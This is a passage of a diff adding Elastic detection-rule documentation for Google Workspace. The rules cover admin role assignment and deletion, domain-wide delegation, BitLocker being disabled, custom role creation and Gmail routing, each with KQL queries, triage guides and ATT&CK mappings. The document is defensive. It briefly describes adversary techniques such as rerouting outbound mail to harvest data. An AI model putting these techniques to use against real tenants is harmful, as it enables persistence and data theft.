T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-admin-role-assigned-to-a-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-admin-role-assigned-to-a-user.asciidoc new file mode 100644 index 0000000000..7a4a4aea22 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-admin-role-assigned-to-a-user.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-21-google-workspace-admin-role-assigned-to-a-user]] +=== Google Workspace Admin Role Assigned to a User + +Assigning the administrative role to a user will grant them access to the Google Admin console and grant them administrator privileges which allow them to access and manage various resources and applications. An adversary may create a new administrator account for persistence or apply the admin role to an existing user to carry out further intrusion efforts. Users with super-admin privileges can bypass single-sign on if enabled in Google Workspace. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/172176?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Admin Role Assigned to a User* + + +Google Workspace roles allow administrators to assign specific permissions to users or groups. These assignments should follow the principle of least privilege (PoLP). Admin roles in Google Workspace grant users access to the Google Admin console, where more domain-wide settings are accessible. Google Workspace contains prebuilt administrator roles for performing business functions related to users, groups, and services. Custom administrator roles can be created when prebuilt roles are not sufficient. + +Administrator roles assigned to users will grant them additional permissions and privileges within the Google Workspace domain. Administrative roles also give users access to the admin console, where domain-wide settings can be adjusted. Threat actors might rely on these new privileges to advance their intrusion efforts and laterally move throughout the organization. Users with unexpected administrative privileges may also cause operational dysfunction if unfamiliar settings are adjusted without warning. + +This rule identifies when a Google Workspace administrative role is assigned to a user. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. + - The `user.target.email` field contains the user who received the admin role. +- Identify the role given to the user by reviewing the `google_workspace.admin.role.name` field in the alert. +- After identifying the involved user, verify their administrative privileges are scoped properly. +- To identify other users with this role, search the alert for `event.action: ASSIGN_ROLE`. + - Add `google_workspace.admin.role.name` with the role added as an additional filter. + - Adjust the relative time accordingly to identify all users that were assigned this admin role. +- Identify if the user account was recently created by searching for `event.action: CREATE_USER`. + - Add `user.email` with the target user account that recently received this new admin role. +- After identifying the involved user, create a filter with their `user.name` or `user.target.email`. Review the last 48 hours of their activity for anything that may indicate a compromise. + + +*False positive analysis* + + +- After identifying user account that added the admin role, verify the action was intentional. +- Verify that the target user who was assigned the admin role should have administrative privileges in Google Workspace. +- Review organizational units or groups the target user might have been added to and ensure the admin role permissions align. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"google_workspace.admin" and event.category:"iam" and event.action:"ASSIGN_ROLE" + and google_workspace.event.type:"DELEGATED_ADMIN_SETTINGS" and google_workspace.admin.role.name : *_ADMIN_ROLE + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-admin-role-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-admin-role-deletion.asciidoc new file mode 100644 index 0000000000..bd397ecd9b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-admin-role-deletion.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-21-google-workspace-admin-role-deletion]] +=== Google Workspace Admin Role Deletion + +Detects when a custom admin role is deleted. An adversary may delete a custom admin role in order to impact the permissions or capabilities of system administrators. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/2406043?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Admin Role Deletion* + + +Google Workspace roles allow administrators to assign specific permissions to users or groups where the principle of least privilege (PoLP) is recommended. Admin roles in Google Workspace grant users access to the Google Admin console, where further domain-wide settings are accessible. Google Workspace contains prebuilt administrator roles for performing business functions related to users, groups, and services. Custom administrator roles can be created where prebuilt roles are not preferred. + +Deleted administrator roles may render some user accounts inaccessible or cause operational failure where these roles are relied upon to perform daily administrative tasks. The deletion of roles may also hinder the response and remediation actions of administrators responding to security-related alerts and events. Without specific roles assigned, users will inherit the permissions and privileges of the root organizational unit. + +This rule identifies when a Google Workspace administrative role is deleted within the Google Admin console. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. +- Identify the role deleted by reviewing `google_workspace.admin.role.name` in the alert. +- With the user identified, verify if he has administrative privileges to disable or delete administrative roles. +- To identify other users affected by this role removed, search for `event.action: ASSIGN_ROLE`. + - Add `google_workspace.admin.role.name` with the role deleted as an additional filter. + - Adjust the relative time accordingly to identify all users that were assigned this admin role. + + +*False positive analysis* + + +- After identifying the user account that disabled the admin role, verify the action was intentional. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Discuss with the user the affected users as a result of this action to mitigate operational discrepencies. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin and event.provider:admin and event.category:iam and event.action:DELETE_ROLE + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-api-access-granted-via-domain-wide-delegation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-api-access-granted-via-domain-wide-delegation.asciidoc new file mode 100644 index 0000000000..cb26dae1dd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-api-access-granted-via-domain-wide-delegation.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-21-google-workspace-api-access-granted-via-domain-wide-delegation]] +=== Google Workspace API Access Granted via Domain-Wide Delegation + +Detects when a domain-wide delegation of authority is granted to a service account. Domain-wide delegation can be configured to grant third-party and internal applications to access the data of Google Workspace users. An adversary may configure domain-wide delegation to maintain access to their target’s data. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developers.google.com/admin-sdk/directory/v1/guides/delegation +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace API Access Granted via Domain-Wide Delegation* + + +Domain-wide delegation is a feature that allows apps to access users' data across an organization's Google Workspace environment. Only super admins can manage domain-wide delegation, and they must specify each API scope that the application can access. Google Workspace services all have APIs that can be interacted with after domain-wide delegation is established with an OAuth2 client ID of the application. Typically, GCP service accounts and applications are created where the Google Workspace APIs are enabled, thus allowing the application to access resources and services in Google Workspace. + +Applications authorized to interact with Google Workspace resources and services through APIs have a wide range of capabilities depending on the scopes applied. If the principle of least privilege (PoLP) is not practiced when setting API scopes, threat actors could abuse additional privileges if the application is compromised. New applications created and given API access could indicate an attempt by a threat actor to register their malicious application with the Google Workspace domain in an attempt to establish a command and control foothold. + +This rule identifies when an application is authorized API client access. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. + - Only users with super admin privileges can authorize API client access. +- Identify the API client name by reviewing the `google_workspace.admin.api.client.name` field in the alert. + - If GCP audit logs are ingested, pivot to reviewing the last 48 hours of activity related to the service account ID. + - Search for the `google_workspace.admin.api.client.name` value with wildcards in the `gcp.audit.resource_name` field. + - Search for API client name and aggregated results on `event.action` to determine what the service account is being used for in GWS. +- After identifying the involved user, verify super administrative privileges to access domain-wide delegation settings. + + +*False positive analysis* + + +- Changes to domain-wide delegation require super admin privileges. Check with the user to ensure these changes were expected. +- Review scheduled maintenance notes related to expected API access changes. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Review the scope of the authorized API client access in Google Workspace. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin + and event.provider:admin + and event.category:iam + and event.action:AUTHORIZE_API_CLIENT_ACCESS + and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-bitlocker-setting-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-bitlocker-setting-disabled.asciidoc new file mode 100644 index 0000000000..64e31ae7cb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-bitlocker-setting-disabled.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-21-google-workspace-bitlocker-setting-disabled]] +=== Google Workspace Bitlocker Setting Disabled + +Google Workspace administrators whom manage Windows devices and have Windows device management enabled may also enable BitLocker drive encryption to mitigate unauthorized data access on lost or stolen computers. Adversaries with valid account access may disable BitLocker to access sensitive data on an endpoint added to Google Workspace device management. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/9176657?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Bitlocker Setting Disabled* + + +BitLocker Drive Encryption is a data protection feature that integrates with the Windows operating system to address the data theft or exposure threats from lost, stolen, or inappropriately decommissioned computers. BitLocker helps mitigate unauthorized data access by enhancing file and system protections, such as data encryption and rendering data inaccessible. Google Workspace can sync with Windows endpoints that are registered in inventory, where BitLocker can be enabled and disabled. + +Disabling Bitlocker on an endpoint decrypts data at rest and makes it accessible, which raises the risk of exposing sensitive endpoint data. + +This rule identifies a user with administrative privileges and access to the admin console, disabling BitLocker for Windows endpoints. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. +- After identifying the user, verify if the user should have administrative privileges to disable BitLocker on Windows endpoints. +- From the Google Workspace admin console, review `Reporting > Audit` and `Investigation > Device` logs, filtering on the user email identified from the alert. + - If a Google Workspace user logged into their account using a potentially compromised account, this will create an `Device sync event` event. + + +*False positive analysis* + + +- An administrator may have intentionally disabled BitLocker for routine maintenance or endpoint updates. + - Verify with the user that they intended to disable BitLocker on Windows endpoints. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"google_workspace.admin" and event.action:"CHANGE_APPLICATION_SETTING" and event.category:(iam or configuration) + and google_workspace.admin.new_value:"Disabled" and google_workspace.admin.setting.name:BitLocker* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-custom-admin-role-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-custom-admin-role-created.asciidoc new file mode 100644 index 0000000000..d5c5480954 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-custom-admin-role-created.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-21-google-workspace-custom-admin-role-created]] +=== Google Workspace Custom Admin Role Created + +Detects when a custom admin role is created in Google Workspace. An adversary may create a custom admin role in order to elevate the permissions of other user accounts and persist in their target’s environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/2406043?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Custom Admin Role Created* + + +Google Workspace roles allow administrators to assign specific permissions to users or groups where the principle of least privilege (PoLP) is recommended. Admin roles in Google Workspace grant users access to the Google Admin console, where more domain-wide settings are accessible. Google Workspace contains prebuilt administrator roles for performing business functions related to users, groups, and services. Custom administrator roles can be created where prebuilt roles are not preferred. + +Roles assigned to users will grant them additional permissions and privileges within the Google Workspace domain. Threat actors might create new admin roles with privileges to advance their intrusion efforts and laterally move throughout the organization if existing roles or users do not have privileges aligned with their modus operandi. Users with unexpected privileges from new admin roles may also cause operational dysfunction if unfamiliar settings are adjusted without warning. Instead of modifying existing roles, administrators might create new roles to accomplish short-term goals and unintentionally introduce additional risk exposure. + +This rule identifies when a Google Workspace administrative role is added within the Google Workspace admin console. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. +- Identify the role added by reviewing the `google_workspace.admin.role.name` field in the alert. +- After identifying the involved user, verify if they should have administrative privileges to add administrative roles. +- To identify if users have been assigned this role, search for `event.action: ASSIGN_ROLE`. + - Add `google_workspace.admin.role.name` with the role added as an additional filter. + - Adjust the relative time accordingly to identify all users that were possibly assigned this admin role. +- Monitor users assigned the admin role for the next 24 hours and look for attempts to use related privileges. + - The `event.provider` field will help filter for specific services in Google Workspace such as Drive or Admin. + - The `event.action` field will help trace what actions are being taken by users. + + +*False positive analysis* + + +- After identifying the user account that created the role, verify whether the action was intentional. +- Verify that the user who created the role should have administrative privileges in Google Workspace to create custom roles. +- Review organizational units or groups the role may have been added to and ensure the new privileges align properly. +- Create a filter with the user's `user.name` and filter for `event.action`. In the results, check if there are multiple `CREATE_ROLE` actions and note whether they are new or historical. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin and event.provider:admin and event.category:iam and event.action:CREATE_ROLE + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-custom-gmail-route-created-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-custom-gmail-route-created-or-modified.asciidoc new file mode 100644 index 0000000000..9ac3e1a0fa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-google-workspace-custom-gmail-route-created-or-modified.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-21-google-workspace-custom-gmail-route-created-or-modified]] +=== Google Workspace Custom Gmail Route Created or Modified + +Detects when a custom Gmail route is added or modified in Google Workspace. Adversaries can add a custom e-mail route for outbound mail to route these e-mails to their own inbox of choice for data gathering. This allows adversaries to capture sensitive information from e-mail and potential attachments, such as invoices or payment documents. By default, all email from current Google Workspace users with accounts are routed through a domain's mail server for inbound and outbound mail. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/2685650?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Custom Gmail Route Created or Modified* + + +Gmail is a popular cloud-based email service developed and managed by Google. Gmail is one of many services available for users with Google Workspace accounts. + +Threat actors often send phishing emails containing malicious URL links or attachments to corporate Gmail accounts. Google Workspace identity relies on the corporate user Gmail account and if stolen, allows threat actors to further their intrusion efforts from valid user accounts. + +This rule identifies the creation of a custom global Gmail route by an administrator from the Google Workspace admin console. Custom email routes could indicate an attempt to secretly forward sensitive emails to unintentional recipients. + + +*Possible investigation steps* + + +- Identify the user account that created the custom email route and verify that they should have administrative privileges. +- Review the added recipients from the custom email route and confidentiality of potential email contents. +- Identify the user account, then review `event.action` values for related activity within the last 48 hours. +- If the Google Workspace license is Enterprise Plus or Education Plus, search for emails matching the route filters. To find the Gmail event logs, go to `Reporting > Audit and investigation > Gmail log events`. +- If existing emails have been sent and match the custom route criteria, review the sender and contents for malicious URL links and attachments. +- Identified URLs or attachments can be submitted to VirusTotal for reputational services. + + +*False positive analysis* + + +- This rule searches for domain-wide custom email routes created in the admin console of Google Workspace. Administrators might create custom email routes to fulfill organizational requirements. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected 